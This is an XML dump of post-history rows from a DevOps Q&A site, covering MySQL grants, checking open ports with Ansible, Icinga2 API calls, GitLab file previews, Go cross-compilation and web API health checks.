  <row Id="5277" PostHistoryTypeId="2" PostId="1657" RevisionGUID="aeeaa351-3968-4532-a4a5-01a9d8b33bc6" CreationDate="2017-08-03T17:33:01.773" UserId="2845" Text="First, [confirm that the container is actually listening for connections and has properly bound to the interface](https://stackoverflow.com/questions/40350456/docker-any-way-to-list-open-sockets-inside-a-running-docker-container). If not, you probably need to fix the `bind-address=` and/or `port=` directives in your my.cnf.&#xD;&#xA;&#xD;&#xA;Otherwise, you probably have an issue with your GRANTs. Check that the IP/subnet is correctly authorized in the mysql.user table with the command&#xD;&#xA;&#xD;&#xA;    select user,host from mysql.user&#xD;&#xA;&#xD;&#xA;If the host field is incorrect, you will need to fix it using a UPDATE" ContentLicense="CC BY-SA 3.0" />
  <row Id="5278" PostHistoryTypeId="2" PostId="1658" RevisionGUID="167aeef8-da08-45fe-bd00-c31a529a358c" CreationDate="2017-08-03T18:35:21.307" UserId="3781" Text="I'm new to ansible, so still making lots of mistakes.. please excuse my ignorance.&#xD;&#xA;&#xD;&#xA;Here's my task:&#xD;&#xA;I have 400+ hosts, and I need to verify 5 different ports are open from their end to our web server.&#xD;&#xA;&#xD;&#xA;Individually, I could log in and run:&#xD;&#xA;telnet mywebserver.com 443&#xD;&#xA;telnet mywebserver.com 80&#xD;&#xA;telnet mywebserver.com 8443&#xD;&#xA;..and so on..&#xD;&#xA;&#xD;&#xA;What module or plugin could be used in ansible so I could automate this, and have it report the results (whether open or closed ports) back to my ansible server?&#xD;&#xA;&#xD;&#xA;Hope this makes sense!" ContentLicense="CC BY-SA 3.0" />
  <row Id="5279" PostHistoryTypeId="1" PostId="1658" RevisionGUID="167aeef8-da08-45fe-bd00-c31a529a358c" CreationDate="2017-08-03T18:35:21.307" UserId="3781" Text="Ansible: Other option available for telnet?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5280" PostHistoryTypeId="3" PostId="1658" RevisionGUID="167aeef8-da08-45fe-bd00-c31a529a358c" CreationDate="2017-08-03T18:35:21.307" UserId="3781" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5281" PostHistoryTypeId="2" PostId="1659" RevisionGUID="cdc60cfd-7da4-43b6-9961-d4e2d6c4ef42" CreationDate="2017-08-03T19:39:08.507" UserId="3509" Text="AFAIK there is no built-in module for this purpose, but you can use `shell` + `nc`:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: all&#xD;&#xA;      tasks:&#xD;&#xA;        - shell: nc -z -w 1 -G 1 my.hostname.com {{ item }} || echo &quot;Port {{ item }} is closed&quot;&#xD;&#xA;          with_items: [80,443,8443]" ContentLicense="CC BY-SA 3.0" />
  <row Id="5285" PostHistoryTypeId="5" PostId="1658" RevisionGUID="45afc432-10df-4a4f-9f26-fd6afbf6203b" CreationDate="2017-08-03T22:13:50.957" UserId="47" Comment="improved formatting" Text="I'm new to ansible, so still making lots of mistakes.. please excuse my ignorance.&#xD;&#xA;&#xD;&#xA;Here's my task:&#xD;&#xA;I have 400+ hosts, and I need to verify 5 different ports are open from their end to our web server.&#xD;&#xA;&#xD;&#xA;Individually, I could log in and run:&#xD;&#xA;&#xD;&#xA;    telnet mywebserver.com 443&#xD;&#xA;    telnet mywebserver.com 80&#xD;&#xA;    telnet mywebserver.com 8443&#xD;&#xA;&#xD;&#xA;..and so on..&#xD;&#xA;&#xD;&#xA;What module or plugin could be used in ansible so I could automate this, and have it report the results (whether open or closed ports) back to my ansible server?&#xD;&#xA;&#xD;&#xA;Hope this makes sense!" ContentLicense="CC BY-SA 3.0" />
  <row Id="5286" PostHistoryTypeId="2" PostId="1661" RevisionGUID="e9dd2ac4-e5cf-4d18-a508-e97cead76db7" CreationDate="2017-08-04T03:37:04.347" UserId="3752" Text="Since the response is `Access denied for user` so the port and the ip address is correct.&#xD;&#xA;&#xD;&#xA;I guess the only issue as @James said  will be in the permission, you have to allow `root` access to mysql from elk and php containers, you can do it in easy way but it's not secure:&#xD;&#xA;&#xD;&#xA;    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'password';&#xD;&#xA;&#xD;&#xA; - `%`: mean match all&#xD;&#xA;&#xD;&#xA;or you can specify who has the access per domain name or ip:&#xD;&#xA;&#xD;&#xA;    GRANT ALL PRIVILEGES ON *.* TO 'root'@'172.18.0.2' IDENTIFIED BY 'password';&#xD;&#xA;    GRANT ALL PRIVILEGES ON *.* TO 'root'@'172.18.0.3' IDENTIFIED BY 'password';&#xD;&#xA;&#xD;&#xA;PS: don't forget to change the password to match you root password&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5287" PostHistoryTypeId="2" PostId="1662" RevisionGUID="40c5a15d-c302-4199-a9c1-1381ecccf3bc" CreationDate="2017-08-04T05:50:31.570" UserId="3785" Text="I am trying to do add service of client using icinga2 api. I have followed https://github.com/saurabh-hirani/icinga2-api-example. Here is what I have done so far.&#xD;&#xA;&#xD;&#xA;First I created zone and endpoint in master as follows:&#xD;&#xA;&#xD;&#xA;**Endpoint**&#xD;&#xA;&#xD;&#xA;    Object Endpoint &quot;client.com&quot; {&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Zone**&#xD;&#xA;&#xD;&#xA;    Object Zone &quot;client.com&quot; {&#xD;&#xA;        endpoints = [ &quot;client.com&quot; ]&#xD;&#xA;        parent = &quot;master.com&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Restarted icinga2&#xD;&#xA;&#xD;&#xA;Then in client server&#xD;&#xA;&#xD;&#xA;    #!/bin/bash -e&#xD;&#xA;    &#xD;&#xA;    . icinga2_vars&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;CREATING HOSTGROUP&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    curl -s -u $ICINGA2_API_USER:$ICINGA2_API_PASSWORD \&#xD;&#xA;        -H 'Accept: application/json' -X PUT \&#xD;&#xA;        -k &quot;https://$ICINGA2_HOST:$ICINGA2_API_PORT/v1/objects/hostgroups/client_hostgroup&quot; \&#xD;&#xA;        -d '{ &quot;attrs&quot;: {&#xD;&#xA;                &quot;display_name&quot;: &quot;client host group&quot;&#xD;&#xA;    } }' | python -m json.tool&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;CREATING HOST&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    curl -s -u $ICINGA2_API_USER:$ICINGA2_API_PASSWORD  \&#xD;&#xA;        -H 'Accept: application/json' -X PUT \&#xD;&#xA;        -k &quot;https://$ICINGA2_HOST:$ICINGA2_API_PORT/v1/objects/hosts/client.com&quot; \&#xD;&#xA;        -d '{ &quot;templates&quot;: [ &quot;generic-host&quot; ],&#xD;&#xA;            &quot;attrs&quot;: {&#xD;&#xA;            &quot;address&quot;: &quot;127.0.0.1&quot;,&#xD;&#xA;            &quot;check_command&quot;: &quot;hostalive&quot;,&#xD;&#xA;            &quot;groups&quot;: [&quot;client_hostgroup&quot;],&#xD;&#xA;            &quot;vars.notification['mail']&quot;: {&#xD;&#xA;                &quot;groups&quot;: [&quot;client_hostgroup_users&quot;]&#xD;&#xA;                }&#xD;&#xA;    } }' | python -m json.tool&#xD;&#xA;    &#xD;&#xA;    echo &quot;CREATING SERVICE&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    curl -s -u $ICINGA2_API_USER:$ICINGA2_API_PASSWORD  \&#xD;&#xA;        -H 'Accept: application/json' -X PUT \&#xD;&#xA;        -k &quot;https://$ICINGA2_HOST:$ICINGA2_API_PORT/v1/objects/services/client.com!load&quot; \&#xD;&#xA;        -d '{&#xD;&#xA;            &quot;templates&quot;: [ &quot;generic-service&quot; ],&#xD;&#xA;            &quot;attrs&quot;: {&#xD;&#xA;                &quot;display_name&quot;: &quot;check load&quot;,&#xD;&#xA;                &quot;check_command&quot; : &quot;load&quot;,&#xD;&#xA;                &quot;command_endpoint&quot;: &quot;client.com&quot;,&#xD;&#xA;                &quot;host_name&quot;: &quot;client.com&quot;&#xD;&#xA;            }&#xD;&#xA;    }' | python -m json.tool&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It is working but checking service of master itself. It should check service of client server." ContentLicense="CC BY-SA 3.0" />
  <row Id="5288" PostHistoryTypeId="1" PostId="1662" RevisionGUID="40c5a15d-c302-4199-a9c1-1381ecccf3bc" CreationDate="2017-08-04T05:50:31.570" UserId="3785" Text="Service check with api in Icinga2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5289" PostHistoryTypeId="3" PostId="1662" RevisionGUID="40c5a15d-c302-4199-a9c1-1381ecccf3bc" CreationDate="2017-08-04T05:50:31.570" UserId="3785" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5290" PostHistoryTypeId="6" PostId="1662" RevisionGUID="cf1628a8-ea95-4fb8-9365-a00a26413e29" CreationDate="2017-08-04T10:35:54.557" UserId="46" Comment="edited tags" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5291" PostHistoryTypeId="2" PostId="1663" RevisionGUID="e39d77e7-e1e1-4c05-be72-5433b722d911" CreationDate="2017-08-04T10:41:03.350" UserId="3790" Text="I'm uploading docx file in Gitlab, however it doesn't preview it. &#xD;&#xA;&#xD;&#xA;It only downloads it.&#xD;&#xA;&#xD;&#xA;Is it fixable?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5292" PostHistoryTypeId="1" PostId="1663" RevisionGUID="e39d77e7-e1e1-4c05-be72-5433b722d911" CreationDate="2017-08-04T10:41:03.350" UserId="3790" Text="Gitlab doesn't open Word files" ContentLicense="CC BY-SA 3.0" />
  <row Id="5293" PostHistoryTypeId="3" PostId="1663" RevisionGUID="e39d77e7-e1e1-4c05-be72-5433b722d911" CreationDate="2017-08-04T10:41:03.350" UserId="3790" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5294" PostHistoryTypeId="5" PostId="1662" RevisionGUID="9705e0aa-f926-450f-adc7-d675b826ff5f" CreationDate="2017-08-04T13:31:50.823" UserId="47" Comment="fixed broken URL" Text="I am trying to do add service of client using icinga2 api. I have followed https://github.com/saurabh-hirani/icinga2-api-examples. Here is what I have done so far.&#xD;&#xA;&#xD;&#xA;First I created zone and endpoint in master as follows:&#xD;&#xA;&#xD;&#xA;**Endpoint**&#xD;&#xA;&#xD;&#xA;    Object Endpoint &quot;client.com&quot; {&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**Zone**&#xD;&#xA;&#xD;&#xA;    Object Zone &quot;client.com&quot; {&#xD;&#xA;        endpoints = [ &quot;client.com&quot; ]&#xD;&#xA;        parent = &quot;master.com&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Restarted icinga2&#xD;&#xA;&#xD;&#xA;Then in client server&#xD;&#xA;&#xD;&#xA;    #!/bin/bash -e&#xD;&#xA;    &#xD;&#xA;    . icinga2_vars&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;CREATING HOSTGROUP&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    curl -s -u $ICINGA2_API_USER:$ICINGA2_API_PASSWORD \&#xD;&#xA;        -H 'Accept: application/json' -X PUT \&#xD;&#xA;        -k &quot;https://$ICINGA2_HOST:$ICINGA2_API_PORT/v1/objects/hostgroups/client_hostgroup&quot; \&#xD;&#xA;        -d '{ &quot;attrs&quot;: {&#xD;&#xA;                &quot;display_name&quot;: &quot;client host group&quot;&#xD;&#xA;    } }' | python -m json.tool&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;CREATING HOST&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    curl -s -u $ICINGA2_API_USER:$ICINGA2_API_PASSWORD  \&#xD;&#xA;        -H 'Accept: application/json' -X PUT \&#xD;&#xA;        -k &quot;https://$ICINGA2_HOST:$ICINGA2_API_PORT/v1/objects/hosts/client.com&quot; \&#xD;&#xA;        -d '{ &quot;templates&quot;: [ &quot;generic-host&quot; ],&#xD;&#xA;            &quot;attrs&quot;: {&#xD;&#xA;            &quot;address&quot;: &quot;127.0.0.1&quot;,&#xD;&#xA;            &quot;check_command&quot;: &quot;hostalive&quot;,&#xD;&#xA;            &quot;groups&quot;: [&quot;client_hostgroup&quot;],&#xD;&#xA;            &quot;vars.notification['mail']&quot;: {&#xD;&#xA;                &quot;groups&quot;: [&quot;client_hostgroup_users&quot;]&#xD;&#xA;                }&#xD;&#xA;    } }' | python -m json.tool&#xD;&#xA;    &#xD;&#xA;    echo &quot;CREATING SERVICE&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    curl -s -u $ICINGA2_API_USER:$ICINGA2_API_PASSWORD  \&#xD;&#xA;        -H 'Accept: application/json' -X PUT \&#xD;&#xA;        -k &quot;https://$ICINGA2_HOST:$ICINGA2_API_PORT/v1/objects/services/client.com!load&quot; \&#xD;&#xA;        -d '{&#xD;&#xA;            &quot;templates&quot;: [ &quot;generic-service&quot; ],&#xD;&#xA;            &quot;attrs&quot;: {&#xD;&#xA;                &quot;display_name&quot;: &quot;check load&quot;,&#xD;&#xA;                &quot;check_command&quot; : &quot;load&quot;,&#xD;&#xA;                &quot;command_endpoint&quot;: &quot;client.com&quot;,&#xD;&#xA;                &quot;host_name&quot;: &quot;client.com&quot;&#xD;&#xA;            }&#xD;&#xA;    }' | python -m json.tool&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It is working but checking service of master itself. It should check service of client server." ContentLicense="CC BY-SA 3.0" />
  <row Id="5295" PostHistoryTypeId="2" PostId="1664" RevisionGUID="955b596f-39c9-40fe-9954-23b40f31836c" CreationDate="2017-08-04T13:34:02.313" UserId="519" Text="You can use the Ansible [wait_for](http://docs.ansible.com/ansible/latest/wait_for_module.html) module which checks a specific port is open.  &#xD;&#xA;&#xD;&#xA;Since in this case, all ports should be open already, we can use a minimal no. of retries, just enough to cover network issues:&#xD;&#xA;&#xD;&#xA;    - name: Check all port numbers for current host&#xD;&#xA;      wait_for:&#xD;&#xA;        port: &quot;{{ item }}&quot;&#xD;&#xA;        state: started         # Port should be open&#xD;&#xA;        delay: 0               # No wait before first check (sec)&#xD;&#xA;        timeout: 3             # Stop checking after timeout (sec)&#xD;&#xA;      with_items:&#xD;&#xA;        - 443&#xD;&#xA;        - 80&#xD;&#xA;        - 80443&#xD;&#xA;&#xD;&#xA;By default, Ansible will check once every second (configurable in Ansible 2.3 using the `sleep` attribute), so this will check 3 times per port.&#xD;&#xA;&#xD;&#xA;Run this in a playbook against your normal inventory, and all hosts will be checked in parallel subject to the [forks setting](http://docs.ansible.com/ansible/latest/intro_configuration.html#forks) in your `ansible.cfg`. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5296" PostHistoryTypeId="5" PostId="1664" RevisionGUID="0af5284c-692f-499c-bf15-1c9c62f00852" CreationDate="2017-08-04T13:44:29.907" UserId="519" Comment="handle errors more cleanly" Text="You can use the Ansible [wait_for](http://docs.ansible.com/ansible/latest/wait_for_module.html) module which checks a specific port is open.  &#xD;&#xA;&#xD;&#xA;Since in this case, all ports should be open already, we can use a minimal no. of retries, just enough to cover network issues:&#xD;&#xA;&#xD;&#xA;    - name: Check all port numbers for current host&#xD;&#xA;      wait_for:&#xD;&#xA;        port: &quot;{{ item }}&quot;&#xD;&#xA;        state: started         # Port should be open&#xD;&#xA;        delay: 0               # No wait before first check (sec)&#xD;&#xA;        timeout: 3             # Stop checking after timeout (sec)&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - 443&#xD;&#xA;        - 80&#xD;&#xA;        - 80443&#xD;&#xA;&#xD;&#xA;By default, Ansible will check once every second (configurable in Ansible 2.3 using the `sleep` attribute), so this will check 3 times per port.&#xD;&#xA;&#xD;&#xA;Run this in a playbook against your normal inventory, and all hosts will be checked in parallel subject to the [forks setting](http://docs.ansible.com/ansible/latest/intro_configuration.html#forks) in your `ansible.cfg`. &#xD;&#xA;&#xD;&#xA;We use `ignore_errors: yes` here so that any errors are marked in red but do not stop execution.  &#xD;&#xA;&#xD;&#xA;Only the errors are reported, i.e. open ports produce no output &#xD;&#xA;&#xD;&#xA;- if you want output for the success case, the code is more complex so you can check success of the `wait_for` task and produce output using `debug` in a second task&#xD;&#xA;- then you need to put both these tasks in an include file (without any `with_items` loop), and write a main playbook task that uses an `include` ... `with_items` to call the include file once per port.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5297" PostHistoryTypeId="4" PostId="1658" RevisionGUID="1fd2e720-8a97-4cb2-9877-f46710724774" CreationDate="2017-08-04T14:03:29.780" UserId="519" Comment="added some tags and updated title" Text="Ansible: Other option available for telnet check of open ports?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5298" PostHistoryTypeId="6" PostId="1658" RevisionGUID="1fd2e720-8a97-4cb2-9877-f46710724774" CreationDate="2017-08-04T14:03:29.780" UserId="519" Comment="added some tags and updated title" Text="&lt;ansible&gt;&lt;testing&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5299" PostHistoryTypeId="24" PostId="1658" RevisionGUID="1fd2e720-8a97-4cb2-9877-f46710724774" CreationDate="2017-08-04T14:03:29.780" Comment="Proposed by 519 approved by -1 edit id of 390" ContentLicense="CC BY-SA 3.0" />
  <row Id="5300" PostHistoryTypeId="5" PostId="1658" RevisionGUID="a9f5b2f1-3fd4-406e-8168-df9f8a7d6fb6" CreationDate="2017-08-04T14:03:29.780" UserId="40" Comment="Remove noise, fix typos" Text="I'm new to Ansible. Here's my task ...&#xD;&#xA;&#xD;&#xA;I have 400+ hosts, and I need to verify if 5 different ports are open from their end to our web server.&#xD;&#xA;&#xD;&#xA;Individually, I could log in and run:&#xD;&#xA;&#xD;&#xA;    telnet mywebserver.com 443&#xD;&#xA;    telnet mywebserver.com 80&#xD;&#xA;    telnet mywebserver.com 8443&#xD;&#xA;&#xD;&#xA;..and so on..&#xD;&#xA;&#xD;&#xA;What module or plugin could be used in Ansible so I could automate this, and have it report the results (whether open or closed ports) back to my Ansible server?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5301" PostHistoryTypeId="2" PostId="1665" RevisionGUID="23997343-5ef7-42e5-b090-db634e93ceb5" CreationDate="2017-08-04T17:13:30.890" UserId="3670" Text="[Looks like this is actually an issue][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gitlab.com/gitlab-org/gitlab-pages/issues/73" ContentLicense="CC BY-SA 3.0" />
  <row Id="5302" PostHistoryTypeId="5" PostId="1606" RevisionGUID="0c940494-0725-4c06-835b-6eae5b82408b" CreationDate="2017-08-04T17:19:25.090" UserId="3670" Comment="anon" Text="I am experiencing weird behavior with the Pages feature of GitLab Omnibus package running on an Ubuntu 16.04 virtual machine. Some projects use Pages with Jekyll built by GitLab CI, which has been working as expected since it was first published with Gitlab CE.&#xD;&#xA;&#xD;&#xA;For a couple of days now, visiting any of the homepages of those sites shows the content of just one of the projects. Each of them should of course show different content, but they all show the same. Even stranger: the content shown on each of the sites changes over time to one of the other projects, and I can not see whether this is deterministic.&#xD;&#xA;&#xD;&#xA;Restarting the build processes of each of the projects did not fix this, neither did `gitlab-ctl reconfigure`, `stop` and `start`, nor rebooting the entire VM.&#xD;&#xA;&#xD;&#xA;To investigate on that issue, I edited (which I assume is) the resulting file of the build process at `/var/opt/gitlab/gitlab-rails/shared/pages/www/www.domain.org/public/index.html`. Not in the first place, but later on during the already stated &quot;rotating&quot; content, the edits showed up on the webpage.&#xD;&#xA;&#xD;&#xA;So what is going on there? Is this some caching issue? Is it malconfiguration? Is it a bug? Please help me find and fix the problem, as those are production websites." ContentLicense="CC BY-SA 3.0" />
  <row Id="5303" PostHistoryTypeId="2" PostId="1666" RevisionGUID="1c062110-eb27-4395-bf31-ad3bb8760dd3" CreationDate="2017-08-04T18:29:54.493" UserId="3720" Text="you can only view text/source code files, markdown files and image view...gitlab doesn't have preview option for other files..." ContentLicense="CC BY-SA 3.0" />
  <row Id="5307" PostHistoryTypeId="5" PostId="1666" RevisionGUID="23d8e5ec-4c37-4767-aec8-253b0bdf5650" CreationDate="2017-08-05T06:21:19.747" UserId="739" Comment="copy editing and a bit of expansion" Text="You can only view text/source code files, Markdown files and images.  Gitlab doesn't have a preview option for other files such as proprietary word processors." ContentLicense="CC BY-SA 3.0" />
  <row Id="5308" PostHistoryTypeId="24" PostId="1666" RevisionGUID="23d8e5ec-4c37-4767-aec8-253b0bdf5650" CreationDate="2017-08-05T06:21:19.747" Comment="Proposed by 739 approved by 47, 40 edit id of 391" ContentLicense="CC BY-SA 3.0" />
  <row Id="5310" PostHistoryTypeId="5" PostId="1664" RevisionGUID="347746d2-8a9b-40a7-a38f-bcafd58c1e17" CreationDate="2017-08-06T09:07:49.590" UserId="519" Comment="correction about default output, clarified fine-tuning output" Text="You can use the Ansible [wait_for](http://docs.ansible.com/ansible/latest/wait_for_module.html) module which checks a specific port is open.  &#xD;&#xA;&#xD;&#xA;Since in this case, all ports should be open already, we can use a minimal no. of retries, just enough to cover network issues:&#xD;&#xA;&#xD;&#xA;    - name: Check all port numbers for current host&#xD;&#xA;      wait_for:&#xD;&#xA;        port: &quot;{{ item }}&quot;&#xD;&#xA;        state: started         # Port should be open&#xD;&#xA;        delay: 0               # No wait before first check (sec)&#xD;&#xA;        timeout: 3             # Stop checking after timeout (sec)&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - 443&#xD;&#xA;        - 80&#xD;&#xA;        - 80443&#xD;&#xA;&#xD;&#xA;By default, Ansible will check once every second (configurable in Ansible 2.3 using the `sleep` attribute), so this will check 3 times per port.&#xD;&#xA;&#xD;&#xA;Run this in a playbook against your normal inventory, and all hosts will be checked in parallel subject to the [forks setting](http://docs.ansible.com/ansible/latest/intro_configuration.html#forks) in your `ansible.cfg`. &#xD;&#xA;&#xD;&#xA;We use `ignore_errors: yes` here so that any errors are marked in red but do not stop execution.  &#xD;&#xA;&#xD;&#xA;Open ports are reported as `ok` items in output and closed ports are reported as `failed` (you must use `-vv` flag on `ansible-playbook` to see this output).&#xD;&#xA;&#xD;&#xA;### Fine-tuning output&#xD;&#xA;&#xD;&#xA;If you want more specific output for the success and failure cases, the code must be more complex, adding a second task:&#xD;&#xA;&#xD;&#xA;- `wait_for` task must `register` a variable&#xD;&#xA;-  the second task produces output using `debug` based on success/failure condition (e.g. using Jinja2 [conditional expression](https://stackoverflow.com/a/14215034/992887))&#xD;&#xA;- then you need to put both these tasks in an include file (without any `with_items` loop), and write a main playbook task that uses an `include` ... `with_items` to call the include file once per port.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5318" PostHistoryTypeId="2" PostId="1671" RevisionGUID="b43080f2-bb8c-4695-99b6-58be07649dd0" CreationDate="2017-08-06T19:07:08.207" UserId="210" Text="When `go build` is issued on a Windows host a .exe binary is created. How to ensure that a Linux binary is created on a Windows host?&#xD;&#xA;&#xD;&#xA;The following was tried, but did not solve the issue:&#xD;&#xA;&#xD;&#xA;    GOOS=linux;go build hello-world.go" ContentLicense="CC BY-SA 3.0" />
  <row Id="5319" PostHistoryTypeId="1" PostId="1671" RevisionGUID="b43080f2-bb8c-4695-99b6-58be07649dd0" CreationDate="2017-08-06T19:07:08.207" UserId="210" Text="How to create Golang Linux binaries using a Windows host" ContentLicense="CC BY-SA 3.0" />
  <row Id="5320" PostHistoryTypeId="3" PostId="1671" RevisionGUID="b43080f2-bb8c-4695-99b6-58be07649dd0" CreationDate="2017-08-06T19:07:08.207" UserId="210" Text="&lt;docker&gt;&lt;linux&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5321" PostHistoryTypeId="2" PostId="1672" RevisionGUID="f0de4fda-eeb8-4c8c-a62c-abe50a618172" CreationDate="2017-08-06T19:10:21.083" UserId="210" Text="When a docker image is built on a Windows host the following message is returned:&#xD;&#xA;&#xD;&#xA;    SECURITY WARNING: You are building a Docker image from Windows against a non-Windows&#xD;&#xA;    Docker host. All files and directories added to build context will have '-rwxr-xr-x'&#xD;&#xA;    permissions. It is recommended to double check and reset permissions for sensitive files &#xD;&#xA;    and directories." ContentLicense="CC BY-SA 3.0" />
  <row Id="5322" PostHistoryTypeId="1" PostId="1672" RevisionGUID="f0de4fda-eeb8-4c8c-a62c-abe50a618172" CreationDate="2017-08-06T19:10:21.083" UserId="210" Text="What are best practices to solve `All files/directories will have '-rwxr-xr-x' permissions` when building docker images on Windows?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5323" PostHistoryTypeId="3" PostId="1672" RevisionGUID="f0de4fda-eeb8-4c8c-a62c-abe50a618172" CreationDate="2017-08-06T19:10:21.083" UserId="210" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5324" PostHistoryTypeId="2" PostId="1673" RevisionGUID="8c4a7bd4-ecb8-4298-8500-18fd8f2fd761" CreationDate="2017-08-06T20:05:37.597" UserId="210" Text="It seems that `docker build` opens a new shell and `export` is needed. The following command created a Linux binary:&#xD;&#xA;&#xD;&#xA;    export GOOS=linux; go build hello-world.go" ContentLicense="CC BY-SA 3.0" />
  <row Id="5325" PostHistoryTypeId="2" PostId="1674" RevisionGUID="c643535d-85a0-4025-a512-3c6226f79b4c" CreationDate="2017-08-07T05:55:44.923" UserId="3820" Text="I'm writing a script that suppose to, among others, update Opera browser on the machine it's running on. Is there a way to update it through cmd? Is there a universal way to do so for any chromium based browser?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5326" PostHistoryTypeId="1" PostId="1674" RevisionGUID="c643535d-85a0-4025-a512-3c6226f79b4c" CreationDate="2017-08-07T05:55:44.923" UserId="3820" Text="Updating Opera browser through command line (Windows)" ContentLicense="CC BY-SA 3.0" />
  <row Id="5327" PostHistoryTypeId="3" PostId="1674" RevisionGUID="c643535d-85a0-4025-a512-3c6226f79b4c" CreationDate="2017-08-07T05:55:44.923" UserId="3820" Text="&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5328" PostHistoryTypeId="5" PostId="1664" RevisionGUID="94576baa-53e7-42b3-b5de-0c9b3f467abc" CreationDate="2017-08-07T06:46:23.403" UserId="519" Comment="added host attribute to address question better" Text="You can use the Ansible [wait_for](http://docs.ansible.com/ansible/latest/wait_for_module.html) module which checks a specific port is open.  &#xD;&#xA;&#xD;&#xA;Since in this case, all ports should be open already, we can use a minimal no. of retries, just enough to cover network issues:&#xD;&#xA;&#xD;&#xA;    - name: Check all port numbers for current host&#xD;&#xA;      wait_for:&#xD;&#xA;        host: mywebserver.com&#xD;&#xA;        port: &quot;{{ item }}&quot;&#xD;&#xA;        state: started         # Port should be open&#xD;&#xA;        delay: 0               # No wait before first check (sec)&#xD;&#xA;        timeout: 3             # Stop checking after timeout (sec)&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - 443&#xD;&#xA;        - 80&#xD;&#xA;        - 80443&#xD;&#xA;&#xD;&#xA;By default, Ansible will check once every second (configurable in Ansible 2.3 using the `sleep` attribute), so this will check 3 times per port.&#xD;&#xA;&#xD;&#xA;Run this in a playbook against your inventory of 400+ hosts - Ansible will check in parallel that all hosts can reach `mywebserver.com` on those ports.&#xD;&#xA;&#xD;&#xA;- the parallelism is subject to the [forks setting](http://docs.ansible.com/ansible/latest/intro_configuration.html#forks) in your `ansible.cfg`. &#xD;&#xA;&#xD;&#xA;We use `ignore_errors: yes` here so that any errors are marked in red but do not stop execution.  &#xD;&#xA;&#xD;&#xA;Open ports are reported as `ok` items in output and closed ports are reported as `failed` (you must use `-vv` flag on `ansible-playbook` to see this output).&#xD;&#xA;&#xD;&#xA;### Fine-tuning output&#xD;&#xA;&#xD;&#xA;If you want more specific output for the success and failure cases, the code must be more complex, adding a second task:&#xD;&#xA;&#xD;&#xA;- `wait_for` task must `register` a variable&#xD;&#xA;-  the second task produces output using `debug` based on success/failure condition (e.g. using Jinja2 [conditional expression](https://stackoverflow.com/a/14215034/992887))&#xD;&#xA;- then you need to put both these tasks in an include file (without any `with_items` loop), and write a main playbook task that uses an `include` ... `with_items` to call the include file once per port.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5330" PostHistoryTypeId="2" PostId="1675" RevisionGUID="295d8b8e-3543-4bc5-b024-2acb1fcb5734" CreationDate="2017-08-07T09:07:22.820" UserId="3822" Text="As a developer, I have been involved in producing a number of assorted web-APIs, both for internal and public use.&#xD;&#xA;&#xD;&#xA;**Is there a standard (or de facto) way of checking if a web API is up and running?**&#xD;&#xA;&#xD;&#xA;(And possibly report back e.g. deployment info and other metadata.)&#xD;&#xA;&#xD;&#xA;Web APIs usually don't have a handler for a `GET` to the root-URL, and often require authentication for the other URLs. Sometimes I have solved this by adding a specific `GET http://example.com/alive` or `GET http://example.com/hello` handler in order to enable our devops to monitor the API and to make it easier for myself to quickly check if it is running. It would be nice if there was a more... official way. (:" ContentLicense="CC BY-SA 3.0" />
  <row Id="5331" PostHistoryTypeId="1" PostId="1675" RevisionGUID="295d8b8e-3543-4bc5-b024-2acb1fcb5734" CreationDate="2017-08-07T09:07:22.820" UserId="3822" Text="Is there a standard way to check if a web API is alive?" ContentLicense="CC BY-SA 3.0" />
